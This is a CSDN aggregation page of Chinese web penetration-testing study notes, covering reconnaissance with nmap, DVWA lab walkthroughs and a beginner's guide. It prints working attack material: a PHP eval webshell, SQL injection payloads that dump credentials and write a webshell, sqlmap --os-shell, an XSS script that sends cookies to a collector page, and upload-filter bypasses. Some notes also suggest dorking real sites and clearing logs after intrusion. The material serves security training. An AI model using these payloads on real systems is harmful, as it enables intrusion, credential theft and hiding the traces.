web渗透_web渗透培训 - CSDN
精华内容
参与话题
  • web渗透测试基础入门

    2020-04-07 11:00:47
    专注培养高薪网络安全人才,帮助大家了解并学习网络安全,传授黑白帽实战技能,带领零基础小白正式... 一个有实战经验的老师,带你一步一步从基础入门,让你清晰的了解渗透测试的过程和方法,讲解各方面的知识点和经验。
  • 目前web渗透的思路

    千次阅读 多人点赞 2018-08-13 15:26:07
    学习web渗透大概已经有了两个多月了,还是一只菜鸡,希望能以文章的方式记录一下自己的学习过程,希望自己能够有所提高。 渗透思路如下: 0x01信息收集: 目前实战过了两次,越来越能意识到信息收集对渗透测试...

    学习web渗透大概已经有了两个多月了,还是一只菜鸡,希望能以文章的方式记录一下自己的学习过程,希望自己能够有所提高。

    渗透思路如下:

    0x01信息收集:
    目前实战过了两次,越来越能意识到信息收集对渗透测试工作的重要性,web渗透不是仅仅局限于用公开漏洞的EXP直接打过去,还有很多“野路子”可以使用。
    ①nmap扫描开放端口,常用端口如下:
    21——-FTP服务
    22——-SSH
    23——-Telnet
    25——-SMTP
    80——-HTTP
    443—–HTTPS
    1433—–SQL server
    Oracle—-1521
    3306—–MySQL
    3389—–Windows远程桌面
    Tomcat—–8080
    ②查看robots.txt大概看一下网站结构,如果可能的话可以使用一些目录扫描工具去扫一扫看看能不能扫到后台,或者某些关键信息,但是个人感觉目录扫描器有些撞大运的嫌疑,如果网站没有waf之类的话可以考虑使用AWVS进行一遍漏洞扫描,万一能扫出来高危漏洞那就发了,如果扫不到的话至少web目录也能给你收集个八九不离十了。
    ③尽可能的收集到此站用的是什么型号以及什么版本的CMS,如果能够精准的收集到CMS的相关信息,那我们直接就利用公开的漏洞打过去就是了。
    ④如果有社工大佬的情况下也可以去搜一搜whois信息,如果网站挂了CDN的话我们就去查询域名的DNS解析记录看看能不能找到真实ip。

    PS:其实我个人认为渗透测试如果信息收集做的好的话,那么渗透测试的过程将事半功倍。

    0x02漏洞发现
    ①弱口令:如果是能够后台getshell的CMS我们在找到后台登录页面的情况下,若该后台登录页面没有验证码,我们可以使用burp suite 进行爆破;如果发现端口21为开放,我们可以试一试FTP匿名登录或者是FTP弱口令爆破;端口22开放的话我们也可以试试ssh弱口令。
    ②公开漏洞:在找到CMS的型号版本的情况下,我们可以直接去各大漏洞平台去直接找到其公开漏洞进行利用,如果能够找到真实ip的话也可以用Nessus去扫描其主机漏洞(万一能扫出来个MS17-010那就发了)。
    ③代码审计:如果要是实在不能发现漏洞的话就看看能不能从GitHub上找到他的开发记录什么的,想办法把代码拖下来审计一下。

    0x03漏洞利用
    这个没什么好说的,反正就是先获取网站的webshell,再提权,如有有waf就花式绕waf,然后最终的目的大多数都是脱裤。

    0x04清理痕迹
    本辣鸡还没有擦屁股的本事,但是据说提权成功了之后只要把日志什么的清了就可以溜了溜了溜了。。。我还没试过,技术水平所限,以后可能会补更。

    0x05提交漏洞报告
    渗透结束之后要将目标网站的漏洞情况详细的整理出来,并写出解决方案提交给客户,以便提升客户网站的安全性。最后不要忘了审视自己的渗透测试中存在的不足之处。在今后的工作中不断提高自己的实战水平。

    我只是个孩子啊,求求各位大佬看了我的文章后不要喷我,没啥实质性的东西,就是记录一下自己的学习过程。

    展开全文
  • web渗透初学笔记

    万次阅读 多人点赞 2018-07-21 18:17:51
    web基础知识 前端漏洞:钓鱼、暗链、xss、点击劫持、csrf、url跳转 后端漏洞:sql注入、命令注入、文件上传、文件包含、暴力破解   例子 报文   熟悉状态码   目前流行的网站架构   ...

    web基础知识

    前端漏洞:钓鱼、暗链、xss、点击劫持、csrf、url跳转
    后端漏洞:sql注入、命令注入、文件上传、文件包含、暴力破解
    

     

    例子

    报文

     

    熟悉状态码

     

    目前流行的网站架构

     

    搭建phpstudy集成软件

     

    在PHPstudy的mySQL中操作SQL语法

    创建数据库  CREATE DATABASE my_db;

    查看数据库 SHOW databases;

    切换数据库 USE my_db;

    删除数据库 DROP DATABASE my_db;

    TIPS:分号作为语句的结束,程序中会自动补充

     

     

     

    web安全基础

    常见的安全事件

    篡改网页

    搜索引擎语法Site:domain(在某个域名或子域名下的网页)+Intitle:keyword(正文中含有关键词的网页)/Intitle:keyword(标题中含有关键词的网页)

    exa:keyword为hacked by:时往往能查到自己管理域名下被黑的网站

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------

    暗链

    优化在搜索引擎里的排名

    不是为人准备,是为搜索引擎中的爬虫准备的。

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------

    webshell

    获得管理权限后->上传webshell=(小/大)马=后门

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------

    常见web漏洞

    XSS  Who stole my keys

    概念:黑客通过"html注入"篡改网页,插入了恶意脚本(即xss脚本),当用户在浏览网页时,实现控制用户浏览器行为的一种攻击方式。

    危害:盗取用户信息/钓鱼/制造蠕虫等

    三种类型 :存储型/反射型/DOM型

    存储型:攻击代码位置:数据库;输出:HTTP响应

    反射型:攻击代码位置:url        ;输出:HTTP响应。

    DOM型:攻击代码位置:url       ;输出:DOM节点。

     

    ------存储型演示------

    左管理端/右访问端

    上传xss脚本

    结果

    ------反射型演示------

    ------DOM型演示------

    不能通过查看源代码的方式找到xss脚本的位置,通过firebug可以。

    在源码中输入hash

    总结

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------

    CSRF     who moved my cheese

    概念:利用用户已登陆的身份,在用户毫不知情的情况下,以用户的名义完成非法操作。

    危害:执行恶意操作(被转账/被发垃圾评论等)/制造蠕虫等

    黑客构造的恶意网页

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------

    点击劫持

    概念:通过覆盖不可见的框架误导受害者点击而造成的攻击行为。利用iframe或者其他标签的属性。

    效果

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------

    URL跳转

    概念

    header头跳转

    js跳转

    meta标签实现跳转

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------

    SQL

    原理:数据和代码未分离,即数据当成了代码来执行

     

     

    一次SQL注入的过程

     

    SQL注入的必备条件

    1.可以控制输入的数据

    2.服务器要执行的代码拼接了控制的数据

     

    危害:获取数据库信息

                    管理员后台用户名和密码

                    获取其他数据库敏感信息:用户名/密码/手机号码/身份证/银行卡信息...

                    整个数据库:脱裤

            获取服务器权限

                    植入webshell,获取服务器后门

                    读取服务器敏感文件

                    万能密码

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------            

    命令注入

    step:

    1.调用可执行系统命令的函数

    2.函数或函数参数可控(条件

    3.拼接注入命令

     

    & 拼接符,一次执行拼接的命令

    | 管道符,前面命令的输出作为后面命令的输入

     

    PHP执行命令的函数

    system/exec/shell_exec/eval......

     

    一个函数或函数参数都不可控的例子

    命令执行的结果跟DOS环境中一样

     

    一个参数可控的例子

    拼接过程。注:&符号需转义为%26

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------

    文件操作漏洞

    文件上传漏洞

    1.可以上传可执行脚本

    2.脚本拥有执行权限

    任意文件下载漏洞

    1.未验证下载文件格式

    2.未限制请求的路径

    文件包含漏洞

    本地文件包含

    远程文件包含

    重要的两个参数:allow_url_fopen = On(是否允许打开远程文件);allow_url_include = On(是否允许包含远程文件);

     

    web安全工具

    代理抓包分析工具

    web漏洞扫描工具初级

    在线工具 

     

    传统web站点渗透测试基本步骤

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------

    比较流行的代理抓包工具

    Burpsuite/charles/fiddler

    浏览器插件

    Advanced Cookie Manager/Firebug/HackBar/Proxy Switcher

    Firebug:网络与审查页面元素

    Hackbar:构造数据包

    Cookie Manager:修改Cookie值

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------

    敏感文件探测

    部署python环境

    敏感文件:敏感文件对于网站来说,就像是网站(网站管理员)的秘密日记,这些文件没有被保护好被访问者发现了,就有可能暴露站点的脆弱性或保密数据。

    常见的”敏感文件“类型:

    网站管理后台(login.xx)/数据文件(.sql)/备份文件(.tar.gz)/webshell(.php?)/

    常用软件:御剑/add:用py自写字典生成器

    tips:判断站点脚本类型asp/php/aspx/jsp

            1.判断网站下index.xxx(xxx为asp/php等)类型是否存在

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------

    漏扫工具

    AWVS/Netsparker/AppScan

    风险

    1. 对目标站点的误伤(高流量,请求了危险功能(如删除数据库)...)
    2. 漏扫的盲区:逻辑漏洞 

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------

    SQL注入漏洞

    sqlmap获取

    发现和利用sql注入漏洞基本流程

    1.找到有数据库交互的功能页面(如:xxx/artist.php?artist=1    问号+参数)
    2.判断页面是否存在sql注入(artist=1'  报错存在注入)
    3.利用sql注入漏洞读取数据

    进行注入尝试:GET/POST

    sqlmap中level和risk参数的作用

     

     

     

    实战

    DVWA环境的部署

    1.下载DVWA到www目录下
    2.config文件下config.inc.php文件中的$_DVWA[ 'db_password' ]项改为自己mysql的密码
    3.访问localhost/dvwa路径/setup.php检测环境是否配置好
    4.访问localhost/dvwa路径/login.php     登陆名默认为admin/密码默认为password

    ===============================================================================================

    • 1.暴力破解

    辅助工具owasp zap(官网www.owasp.org)

    ===============================================================================================

    • 2.命令注入

    命令拼接符

    A&B 简单拼接,AB无制约
    A&&B A执行成功,接着才能执行B
    A|B A的输出作为B的输入
    A||B A执行失败才会执行B

    技巧:不显示输出结果...

    ADD:DNS查询

    ===============================================================================================

    • 3.CSRF

    ==============low============

    HH-Tamperdata抓包  ->  Replay in browser ->  改包  ->构造js/html(包装url)

    ==============medium============

    HH-Tamperdata抓包  ->  Replay in browser ->  改包  ->构造html(Tamper Popup:改变referer)

    ==============high============

    ===============================================================================================

    • 4.文件包含

    ==============low============

    本地文件执行

    远程文件执行

    dvwa的host,远程执行文件成功

     

    ==============medium============

    本地文件执行

    远程文件执行

    dvwa的host,远程执行文件成功

     

    ==============high============

    本地文件执行

    远程文件执行

    phpinfo.txt内容

    dvwa的host,远程执行文件成功

     

    ===============================================================================================

    • 5.文件上传

    ==============low============

    cmd.php文件内容

    <?php  @eval($_GET['cmd']); ?>

     

     

     

    ==============medium============

    step1.proxy switcher&zap设置代理开启

    step2.两次抓包结果对比(right/wrong;zap)

    step3.不断用成功上传包的内容替换失败的位置,进行重放,然后看响应包的结果;确定文件类型被服务端限制

    step4修改文件类型->发送修改后的包->后续操作与low等级一样

     

    ==============high============

    制作"内涵图"

    cmd:copy R.jpg/b + W.txt/a 2.jpg

    W.txt内容

    除了借助文件包含漏洞,还可借助web容器解析漏洞

    如:nginx解析漏洞

    phpstudy切换->确认变量cgi.fix_pathinfo=1

    畸形解析

    xxx/xxx.php只要前一个文件存在,就会当成后面php文件的解析

     

    ==============impossible============

    文件重命名/文件压缩重生成/存储目录执行权限/存储目录与web分离

     

    ===============================================================================================

    • 6.SQL回显注入

    需检测到id参数sql注入

    http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#

    如果存在注入,则会报错并且把错误的信息展示出来

    You have an error in your SQL...

     

    三种注入POC;判断闭合方式

    ...where user_id = $id     =》     ...where user_id = 1 or 1024=1024

    ...where user_id =' $id'     =》     ...where user_id = '1' or '1024'='1024'

    ...where user_id = ''$id''     =》     ...where user_id = ''1'' or ''1024''=''1024''

    sql注入中通常需要闭合,如果yu'j语句比较复杂,则使用sql注释符闭合

    #     --空格      /**/

    #:与url中的#区分,常编码成%23

     

    查询之前需要确定查询字段数

    1' order by 25--     =》     ?id=1'+order+by+25--+

    再利用二分法查找

     

    ==============low============

    ------获取数据库的敏感信息------

    确定回显点

    ?id=xx'+union+select+1,2--+

    查询数据库版本/目录)

    ?id=xx'+union+select+@@version,@@datadir--+

    查询用户名/数据库名(查到数据库dvwa)

    ?id=xx'+union+select+user(),database()--+

    查询表名(查到表users)

    ?id=xx'+union+select+1,table_name+from+information_schema.tables+where+table_schema='dvwa'--+

    查询列名

    ?id=xx'+union+select+1,column_name+from+information_schema.columns+where+table_name='users'--+

    查询用户名/密码

    ?id=xx'+union+select+user,password+from+users--+

     

    ------获取系统的敏感信息------

    文件读取

    ?id=xx'+union+select+1,load_file("c:\\windows\\win.ini")--+

     

    ------控制服务器------

    写入webshell

    php一句话木马<?php @eval($_GET['cmd']) ?>

     

    前提:需知写入的地方,即木马放置的物理路径

    套路:引发异常,暴出物理路径

    1.构造错误的sql语句

    ?id=xx'+union+select+“xx”,"xx"+into+outfile+"xx"--+

    2.成功获取web目录

    D:\phpstudy\www\DVWA-1.9\vulnerabilities\sqli\source\low.php

    3.写入webshell

    ?id=xx'+union+select+"<?php @eval($_GET['cmd']) ?>","webshell"+into+outfile+'DVWA-1.9\\cmd.php'--+

    4.访问,成功写入

    5.成功读取

     

    sqlmap了解一下?

    登陆状态下

    攻击参数

    sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#" -p "id" --cookie "cookie参数" 

    查询用户和数据库

    qlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#" -p "id" --cookie "cookie参数"  --current-user --current-db

    查询表

    sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#" -p "id" --cookie "cookie参数"  -D dvwa --tables

    查询列名

    sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#" -p "id" --cookie "cookie参数" -D dvwa -T user --columns

    sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#" -p "id" --cookie "cookie参数" -D dvwa -T user -C "user,password" --dump

     

    上传webshell

    sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/  ?id=1 &Submit#" -p "id" --cookie "cookie参数" -D dvwa -T user -C "user,password" --os-shell

     

    ============medium============

    Tamper Data改包

    单引号转义:   利用hackbar上把数据库名(dvxa)HEX编码0x64767761   =》 重新发包

    sqlmap自动

    多了一个--data

    sqlmap.py -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/ --data “id=1 &Submit#" -p "id" --cookie "cookie参数" 

    ==============high============

    手工相似

    sqlmap需要一些技巧

    多了--data--second-order

    sqlmap -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/session-input.php(跳转后的页面) --data “id=1 &Submit#" -p "id" --cookie "cookie参数"  --second-order "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/(原页面)"

     

    ===============================================================================================

    • 7.SQL盲注

    数据库的执行结果不会直接显示在页面上,页面的结果只会显示两种状态

     

    三种注入POC;判断闭合方式

    ...where user_id = $id     =》     ...where user_id = 1 and 1024=1025

    ...where user_id =' $id'     =》     ...where user_id = '1' and '1024'='1025'

    ...where user_id = ''$id''     =》     ...where user_id = ''1'' and ''1024''=''1025''

     

    先猜解长度

    1' and length(database()) >25 --     =》     ?id=1'+and+length(database()) >25+--+       利用二分法查找

    再猜解字符

    利用函数substr(expression,start,length)获取定义内的字符/子字符串   expresstion:原始字符串,start:子串开始位置,length子串长度

    利用函数ascii(string)获取第一个字符的ascii数值

    ?id=1'+and+ascii(substr(database(),1,1))>64+--+        二分法对每一个字符进行比对查找

    SQL盲注分:布尔型(以上这类)/延时型(以下这类)

    函数if(A,1,0) A为真返回1,为假返回0

    ?id=1'+and+sleep(if(length(database())=5,5,0))--+

    注:此外除了真假/延时,还有benchmark(count,expr)函数可利用

     

    sqlmap

    ==============low============

    同回显注入一样

    ==============medium============

    一样

    ==============high============

    失效

    Firebug分析:id写到了cookie中再提交

    sqlmap.py -u "http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli_blind/ -p "id" --cookie "cookie参数" --lever 2

    注:lever>=2

    ==============impossible============

    检测了id数据类型,使用了预编译绑定id变量;

     

    ===============================================================================================

     

    • 8.xss

    客户端代码注入,通常注入代码是js脚本

    能弹窗,就说明存在xss

    --------------------------------------------------反射型-----------------------------------------------------------

    ==============low============

    建立一个cookie.php文件,放入数据库根目录下(localhost/)

    <?php
    $cookie=$_GET['cookie'];
    file_put_contents('cookie.txt',$cookie);
    ?>

    插入弹窗脚本

    <script>alert(1)</script>
    弹窗,说面存在xss

    替换成远程盗取cookie的语句

    <script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

    进行URL编码后即可在本地服务器指定位置(localhost/)下得到(hacked)用户的cookie

    跳转到登陆页面,更换cookie,直接访问首页(login.php  ->  index.php)

    ==============medium============

    <script>标签被过滤一次,所以构造

    <scr<script>ipt>alert(1)</script>

    tip:大小写混合<scRipT>

    ==============high============

    img标签<img scr="x" οnerrοr="alert(1)">                F12查看成功插入标签

    iframe标签<iframe οnlοad=alert(1)>                      F12查看成功插入标签

    ==============impossible============

    输入&"'<>    F12查看     &amp;&quot;'&lt;&gt;    除了单引号外其他符号都被编码

    查看源码htmlspecialchars函数过滤了(函数中默认不对‘编码,但’依然有xss的风险)

     

    --------------------------------------------------存储型-----------------------------------------------------------

    ==============low============

    前端限制:输入长度被限制

    TamperData绕过:直接改包

    查看结果:成功绕过限制。name和message都注入chen成功

    ==============medium============

    大小写混合

    name成功,message失败

    ==============high============

    img标签成功绕过

    name成功,message失败

    ==============impossible============

    单引号被转义为/‘,其他符号被编码

    mysql_real_escape_string()函数对引号转义,防止sql注入

     

    --------------------------------------------------修复-----------------------------------------------------------

    一是用户的输入:黑名单×白名单√

    二是服务端的输出:html编码/js转义

     

     

    END

    展开全文
  • Web渗透(一)

    万次阅读 多人点赞 2018-11-20 19:54:47
    Web渗透经典流程 判断脚本系统,判断数据库类型——&gt;寻找注入点——&gt;猜解数据库表名——&gt;猜解字段名——&gt;猜解用户名和密码——&gt;寻找后台地址登录,获得网站管理权限(webshell...

    Web渗透经典流程

    判断脚本系统,判断数据库类型——>寻找注入点——>猜解数据库表名——>猜解字段名——>猜解用户名和密码——>寻找后台地址登录,获得网站管理权限(webshell)

    常见漏洞

    • 注入漏洞

                                                  URL为:asp?id=                                              

                                                                  asp?newsid=

                                                                  asp?page=

                                                                  asp?Atricle=

     

             SQL注入漏洞:strSQL="select * from users where username=(name='"+userName + "')and(pw='"+passWord+"');"        

                         攻击方式:'or1='1' 

                                             'or1=1--

                                             a'or'1==1--                                                     

                                             'or'a'='a             

    三种不同数据库(ACCESS,SQL Server,MySQL)有不同的注入方法,由于现在php与My SQL使用更多,asp逐渐被淘汰,我只实践了php与My SQL组合。

    1.  要想最快地找到网站的系统漏洞就要用扫描,要想最快地找到脚本方面的漏洞就应该用google了,使用google hack寻找网( inurl:php?id=)类型为 http://www.xx.com/php?id=xx,那么如何寻找在某个网址中含有php?id=的页面呢?就要用到如下的语句,php?id= site:sina.com.cn,这句话的意思是在sina.com.cn 中找寻链接有 php?id=这样的信息,因为 php 注入的特性(php 默认将传递的参数中的'等字符做了转换,所以对于字符类型的变量默认情况下很难注入),所以我们主要找 id=这样的地方,很有可能就是传递整型数字变量的地方

     2. 在URL加上 and 1=1 提交,返回如果与提交 and 1=2 页面不同则存在注入漏洞,但是真正影响我们注入的确不是这个 PHP 网站,而是其后台的数据库。所以接下来我们就来判断其后台数据库了。在目前的数据库系统中,只有 MySQL 数据库支持/*注释的,所以我们可以利用它来判断后台是否是 MySQL,如果不是那它就不支持这种注释了,自然就会出现错误。我们输入 http://www.xx.com/php?id=xx/*查看返回结果,如果没有出错,说明后台数据库就是 MySQL 了。

    3.在URL后提交and ord(mid(version(),1,1))>51/*判断数据库版本,如果正常返回,那么这个数据库版本是大于 4.0 的,因为Ascii 码 51 代表的是 3,这里大于 3 的当然就是 4.0 以上版本!

    4.暴任意表名,在URL后提交:and(select top 1  name from(select top  N id,name from sysobjects where xtype=char(85)) T roder by id desc)>1,N代表数据库中第N个表,可得到第1个表的表名。

    5.暴任意表任意列的列名:and(sel ect top 1 co 1_name(object_id('表名'),N) from sysobjects)>1,N为第N列。(错误中显示的FORUM_TOPICS是表名,TOPI(_ID)为列名)

    6.有表,列名后,可以暴出数据库中数据,语句为:"and(select top 1 列名 from 表名 where id=N) "  N代表第N条数据。

    7.一般提交:and(select top 1 username(password) from admin where id=1)>1 可以得到第一条数据/密码。

    • 暴库漏洞

              在url中添加%5c或inc等符号让系统调用数据库时出现错误,返回数据中会提示调用错误,在错误中一般含有数据库的绝对路径。(把url的最后一个/改为%5c)。

    原理:这和编码和 IIS 有很大的关系,%5c 就是 16 进制代码中的“\”。可是我们为什么不直接把最后一个“/”改成“\”呢?这是因为如果我们直接在浏览器中提交“\”的话,浏览器会自动把“\”转换成“/”,而我们提交%5c是不会被浏览器转换的,最后%5c给编译表示成了“\”。可为什么被编译成“\”,是由于绝对路径出错了而引起的暴库。当IIS遇到%5c时以为遇到虚拟目录,便停止向上解析而找不到文件报错。

    • conn.asp暴库法

             通过直接访问数据库连接文件conn.asp使服务器产生报错,错误中有DB的绝对地址。

    原理:主要是服务器调用文件的相对路径产生错误。

    • Cookies欺骗漏洞

           现在很多系统为了方便我们访问网站,都使用了一个叫 cookie 的技术来避免我们多次输入用户名和密码等信息,而且这个 cookie 是一个文本文件,是存储在我们本地机器上的。Cookies 是一小段的文本信息,它伴随着用户请求和页面在 Web 服务器与浏览器之间传递。
    用户每次访问网站的时候,Web 应用程序都可以读取 cookies 包含的信息。使用 cookies 能够达到网站认识你的目的。

          我们自己可以去查看自己电脑上的 cookie 文件,使用 windows 操作系统使用 IE浏览器通常可以在 C:\Documents and Settings\用户名\Cookies 目录中找到。如果不是这个目录可以利用 windows 自带的搜索功能搜索关键字 cookies 也可找到。既然是文本文件,那么我们当然可以修改上面的内容了。所以如果我们对里面的内容进行修改,比如把自己的信息改成别人的,那么我们访问的时候不就成了别人了,那样我们就冒充了别人进入了。这样就达到了欺骗的目的了,这就是非常著名的 cookies 欺骗漏洞。

    原理:对于 cookies 欺骗漏洞形成的原因一般是对 cookies 验证不足而造成的。

    • 文件包含漏洞

    远程文件包含漏洞就是因为 PHP文件中的变量过滤不严,没有判断提交的参数是本地的还是远程主机上的,因此我们可以指定远程主机上的文件作为参数来提交给变量执行,而如果提交的这个文件中存在恶意代码甚至干脆就是一个 php 木马的话,文件中的代码或 php 木马就会以 WEB 权限被成功执行。因为这个漏洞是 PHP 文件中的变量过滤,所以这个漏洞也只有 PHP 系统中存在。

    • 旁注攻击

    说起旁注,其实也就是看同一台服务器上是否绑有多个站点。因为现在大部分网站都是使用的虚拟主机。如果绑有多个站点,那么就算其中一个站点的脚本做得很安全,我们也可以从另一个网站进行突破。我们说的旁注一般指的是绑了不同域名的不同站点上的旁注,这里我称为广义上的旁注。其实,还有一种由于同一站点内使用了多套不同程序,其中一套也许比较安全,但另一套却是有漏洞的。这里称之为狭义的旁注。

     WebShell 

    定义:webshell 其实就是 web 入侵的一种脚本攻击工具。简单的说来,webshell 就是一个 asp、php 或 jsp 木马后门,我们在入侵了一个网站后,常常在将这些 asp、php 或 jsp 木马后门文件放置在网站服务器的 web 目录中,与正常的网页文件混在一起。然后黑客就可以用 web 的方式,通过这些木马后门控制网站服务器,包括上传下载文件、看数据库、执行任意程序命令等。webshell最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80 端口传递的,因此不会被防火墙拦截。并且使用 webshell 一般不会在系统日志中留下记录,只会在网站的 web 日志中留下一些数据提交记录,如果不查看 web 日志是不可能发现我们入侵的痕迹的。

     

    如何获取webshell?

     

    1. 进入后台直接上传。有些系统对管理员可是十分信任的,进了后台只要找到有上传的地方你就可以直接选匹马放上去,绝不会有任意阻拦。一般来说是什么系统就上传什么木马,比如是 PHP 系统那么我们就上传 PHP 木马。目前这种问题在 php 和jsp 的一些程序比较常见,还有以前的联众游戏站和网易的 jsp 系统漏洞就可以直接上传 jsp 文件。文件名是原来的文件名,bo-blog 后台可以可以直接上传.php 文件,上传的文件路径有提示,因过滤上传文件不严,导致用户可以直接上传 webshell 到网站任意可写目录中,从而拿到网站的管理员控制权限。  
    2. 添加上传类型上传。如果不能直接上传,可找找看有没有添加上传类型的地方,对于ASP 系统有的话添加一个 ASP 就可以了,如果不能添加 ASP 后缀的话,还可以在上传类型中增加 asp ,注意,asp 后面是有个空格的,那么上传一个后缀名为 asp ,的木马也会被解释成 ASP,同样可以获得 Webshell,对于php 系统的后台,我们还可以添加.php.hack 的上传类型,这是 php 的一个特性,主要是因为 Apache 在解析文件后缀上的一些小问题导致的,我们只要保证最后的那个后缀名不是已知的就可以,例如 php 会将 php.hack 作为.php 来正常运行,这是因为 hack 这个后缀名根本就没有,所以 Apache 就会忽略.hack 的解析,从而解析 php,从而也可成功拿到 shell。
    3. 利用代码对文件类型的限制上传。现在许多代码为了安全都限制了上传 ASP、PHP、JSP文件。有些代码的限制方式是一遇到  ASP、PHP、JSP 就把他们去掉的。那么,我们完全可以添加一个上传类型为ASASPP、PPHPHP、JJSPSP,这样一来,在上传过程中代码会把中间为 ASP、PHP、JSP 去掉,后缀的自然也就变为 ASP、PHP、JSP 的了。     

     

    利用webshell提权:利用本地溢出程序进行提权。在得到 webshell 后,我们先查看服务器上哪些目录是可执行的,然后在查找操作系统的版本以及在服务器上安装了哪些软件。在确定了这些信息后,我们就查找这些软件存在的相应的一些溢出程序,并上传到服务器的可执行目录中,接着溢出,成功的话,一下就可以得到管理员的权限。不管它是那种操作系统,我们只要确定其操作系统或安装的软件中有存在溢出漏洞,那么使用溢出程序溢出是最快得到管理员权限的方法。                                                                             

                                                                                                                                
                                                                                                                                 

    展开全文
  • 小白入坑 Web 渗透测试必备指南

    万次阅读 多人点赞 2017-11-23 09:14:40
    本文来自作者 肖志华 在 GitChat 上分享「Web 渗透测试入坑必备指南」,「阅读原文」查看交流实录 「文末高能」 编辑 | 黑石 小白如何快速入门 由于本人技术性受限制,可能部分内容显得不那么清晰...

    640.gif?wxfrom=5&wx_lazy=1

    本文来自作者 肖志华 在 GitChat 上分享「Web 渗透测试入坑必备指南」,阅读原文」查看交流实录

    文末高能

    编辑 | 黑石

    小白如何快速入门

    由于本人技术性受限制,可能部分内容显得不那么清晰,如有疑问请读者圈联系我。再者,内容不会完全讲清楚,因为本身话题的原因,部分会一笔带过。

    小白该如何踏入 Web 安全这个坑呢?我的经历是,兴趣所在。我是野路子,全靠兴趣来自学。

    现 Web 安全如果要讲入门,要求并不高,两三天就能入门,而我也仅在入门级别。

    我接触这个比较早,最初是在10年还是09年来接触到一份网传 Web 渗透课,后沉迷于此。

    期间玩的第一个靶机是 dedecms5.7 最新 sql 注射漏洞利用,当时并不懂什么技术性的东西。然后一直没怎么学过,学习资源有限也就停了。

    安全问题都体现在输入输出的问题上,能够分析数据流就有迹可循了。先学会用工具,工具报什么漏洞你就应该学着去百度这个漏洞,了解并且复现它。

    在复现的过程中,势必会遇到很多以前从未遇到的问题,这时候就要学着用谷歌去解决问题。你能遇到的问题,别人也许也遇到了,并且做了记载。

    向记录学习过程中的问题并解决的博主致敬!

    Web 知识本身就非常丰富,覆盖范围也非常广泛:

    • 从浏览器到服务器、数据库;

    • 从 HTML、JavaScript 和 CSS 到 PHP、Java、ASP(.net);

    • 从页面加载到 DOM 渲染;

    • 从静态页面到 MVC;

    • 从 URL 协议到 HTTP 协议。

    我相信大多数人如果没有前端的经验,想入这个坑,先学前端就已经要崩了,但是并不需要一次性学这么多。

    了解基本攻击类型,再去复现它,不断学习,不断进步,在疑惑中解决问题,在解决问题中成长并积累经验,这就是我告诉大家的方法,无捷径可走。

    请务必实战,不实战,单理论的话,容我说一句放屁!再牛的前端,不关注安全技术,也能倒在前端 Xss 攻击上。

    Web 安全高手都是实战练出来的,漏洞喂出来的。切莫想快速入门。快速如果定义在三个月,每天12小时用来研究 Web 安全,我估计也够入门了。

    安全圈特别浮躁,很难有一个静心的交流环境,无数交流环境都是被发表情混水坑死的。所幸有 Gitbook 这样技术氛围丰厚的社区,很实在。

    摸漏洞摸久了,经验自然也就丰富了,前些天我挖了 Csdn 一波储存性XSS,危害是劫持任意用户登陆会话,已经上报并修复。

    出于原则不能公开漏洞详情,留个链接做证明吧。http://my.csdn.net/rNma0y  访问此条链接即可。

    最后一句话做总结:“整就牛!”

    Nmap 的使用

    Nmap 作为一款端口扫描软件,可以说是目前最强大的端口扫描工具,更是很多安全从业者所必备的工具。

    Nmap的安装教程请自行安装,有 Windows 系统的也有 Unix 以及 Mac。

    Nmap的扫描方式有很多,包括 TCP Syn TCPACK 扫描等,使用也比较简单,仅仅需要几个参数。扫描指定IP开放的端口:

    nmap -sS -p 1-20000 -v 220.176.172.178

    表示使用半开扫描,系统很少会保存日志。扫描C段主机:

    nmap -sP 220.176.172.178/24

    0?wx_fmt=png

    这里给出的结果是C段存在256个主机,方便我们后期对目标进行C段渗透。指定端口扫描 :

    nmap -p 80,8080,22,445 220.176.172.178

    指定端口扫描和半开结果类似,故不贴图。扫描主机操作系统:

    nmap -o 220.176.172.178

    扫描全部端口:

    nmap -v -A 220.176.172.178

    0?wx_fmt=png

    这里可以看到初步就已经判断出来了 23端口和8888端口都是使用tcp协议。后面他会自行进行Syn的扫描,结果较慢,故不在等待。

    0?wx_fmt=png

    这是全端口扫描得出的结果,但是要注意的地方是,他只是默认的1000个高危端口扫描,若要检测全部端口,还需要加入-P-这个参数才行。

    Namp 的命令很多,我这里只是列举了常用的几个命令,需要查看更多命令的请百度 namp 的官网进行命令手册翻阅。

    Safe3

    Safe3 作为一个国产的漏洞扫描工具,和 Appscan 来做比较还是有些不足。虽有不足,但依然无法阻止众多安全从业者的使用。我用 safe3 第一个印象就是觉得,快。

    在 Windows 平台下,打开速度和扫描速度是非常之快的。

    0?wx_fmt=png

    这就是 safe3 的全面貌,中文界面,做用户的友好性十分的强。操作也比较傻瓜的,填入扫描的网站地址后,选择需要扫的漏洞就行。

    0?wx_fmt=png

